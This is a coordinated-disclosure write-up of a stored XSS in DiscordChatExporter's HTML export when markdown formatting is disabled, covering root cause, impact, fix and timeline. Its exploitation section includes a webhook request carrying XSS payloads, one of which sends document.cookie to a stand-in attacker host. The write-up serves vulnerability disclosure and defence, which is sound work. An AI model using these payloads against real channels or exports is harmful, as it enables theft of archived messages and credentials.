← Research ledger
HighCVE-2026-54682CVSS 8.2Stored XSS.NET / RazorFixed in 2.47.2· 9 min read

The unencoded fallback: stored XSS in DiscordChatExporter's HTML export

DiscordChatExporter renders markdown-formatted exports safely — every text node is HTML-encoded on the way out. Flip one switch (--markdown false) and the encoding quietly disappears: message content goes straight to @Html.Raw(), and a Discord webhook becomes a stored-XSS delivery system.

By Denis Rostilov, ExPatch Vulnerability Research·Coordinated disclosure via GitHub Security Advisories
Scope

Analyzed and reproduced against DiscordChatExporter (CLI and GUI, current release at time of report), exporting with markdown formatting disabled. Affected: ≤ 2.47.1; fixed in 2.47.2. Published as GHSA-8qrv-mmch-fr9c under coordinated disclosure.

Summary

DiscordChatExporter turns Discord channels into HTML archives. When markdown rendering is enabled (the default), every user-controlled string passes through WebUtility.HtmlEncode() before it reaches the page. When the user exports with markdown disabled — a common choice for code-heavy channels, legal archives, or as a workaround for markdown rendering quirks — the fallback branch returns the raw string unchanged, and the Razor template emits it with @Html.Raw(). An attacker who can post into a channel (any webhook will do) plants JavaScript that executes the moment anyone opens the exported file.

Root cause: the branch that skipped encoding

In MessageGroupTemplate.cshtml, two helpers decide how message text is produced:

async ValueTask<string> FormatMarkdownAsync(string markdown) =>
    Context.Request.ShouldFormatMarkdown
        ? await HtmlMarkdownVisitor.FormatAsync(...)  // encodes everything
        : markdown;  // ← raw string, no encoding — then @Html.Raw() emits it

The same pattern repeats in FormatEmbedMarkdownAsync. The safe path exists — it is simply bypassed on this branch. What makes it sting is the reach: nine injection points across the template, all fed by attacker-controlled Discord content — message body, forwarded and reply bodies, embed title (three template locations), embed description, embed field name and value. Discord does not strip HTML from any of them.

Exploitation

Step one — post the payload through a webhook (any channel the attacker can manage):

POST /api/webhooks/XXXX/YYYY HTTP/1.1
Host: discord.com
Content-Type: application/json

{
  "content": "<img src=x onerror=\"fetch('https://attacker.example/steal?c='+document.cookie)\">",
  "embeds": [{
    "title": "<img src=x onerror=alert('title')\">",
    "description": "<script>document.title='XSS'</script>",
    "fields": [{ "name": "<svg onload=alert('field')>", "value": "normal" }]
  }]
}

Step two — wait. Any analyst, lawyer, or server member who later exports the channel and opens the HTML runs the payload:

# victim side, days later
DiscordChatExporter.Cli export -t TOKEN -c CHANNEL \
  --format Html --markdown false
# open export.html → the <img onerror> fires in the browser

The export is a local file, but it renders as a full web page — the payload can read the entire archive (every exported message, including channels the attacker never saw) and exfiltrate it, or repaint the page into a credential form.

Why it matters

  • Stored, not reflected. The payload lives in Discord's message history; every future export of that channel is a new trap.
  • The trigger is a feature, not an error. --markdown false is a documented, prominent option in both CLI and GUI — people reach for it precisely when archiving for compliance or fighting markdown bugs.
  • The audience is the juicy part. Exports are made for review — moderators, legal, management. The XSS runs in their browsers, with the whole archive in hand.
Honest scoping

Exploitation requires the victim to export with markdown disabled and open the file — a user action and a non-default flag. Hence High, not Critical. The fix is two lines: route the fallback branch through WebUtility.HtmlEncode(), mirroring the safe path.

Disclosure timeline

  • 2026-08 — issue identified during our export-pipeline security review; reproduced with a live webhook payload.
  • 2026-08 — reported to the maintainer through a GitHub private security advisory.
  • 2026-08CVE-2026-54682 assigned; fix shipped in 2.47.2; GHSA-8qrv-mmch-fr9c published.
  • 2026-08-13 — public write-up (this page).

References

  • DiscordChatExporter.Core/Exporting/MessageGroupTemplate.cshtml — the two fallback helpers; HtmlMarkdownVisitor.cs:25 — the encoding safe path.
  • GHSA-8qrv-mmch-fr9c — the published advisory.
  • Related hardening gap in the same file: CVE-2026-54681.